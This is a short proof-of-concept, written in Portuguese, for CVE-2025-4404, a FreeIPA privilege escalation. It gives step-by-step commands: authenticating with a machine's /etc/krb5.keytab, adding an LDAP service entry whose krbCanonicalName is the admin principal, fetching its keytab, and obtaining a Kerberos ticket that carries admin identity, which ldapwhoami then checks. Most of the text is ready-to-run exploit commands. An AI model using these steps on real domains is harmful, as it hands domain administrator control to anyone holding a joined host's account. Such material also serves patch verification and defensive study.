
POC for CVE-2025-4404
POC para CVE-2025-4404
Se você possui uma conta de computador no domínio (host/pc1.[email protected]), então pode adicionar o serviço por padrão. E você pode definir krbPrincipalName e krbCanonicalName. Por padrão, o valor do atributo krbCanonicalName está ausente para a conta de administrador do FreeIPA 4.12.4. Você pode solicitar um ticket Kerberos com o valor de krbPrincipalName, mas o ticket conterá o valor de krbCanonicalName.
Vamos lá
Primeiro, solicitaremos um ticket em nome da conta do computador:
$ kinit host/[email protected] -k -t /etc/krb5.keytab
Adicionar conta de serviço ao LDAP:
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]PWN!!!
Você pode verificar o ticket com:
ldapwhoami -H ldap://dc1.test.local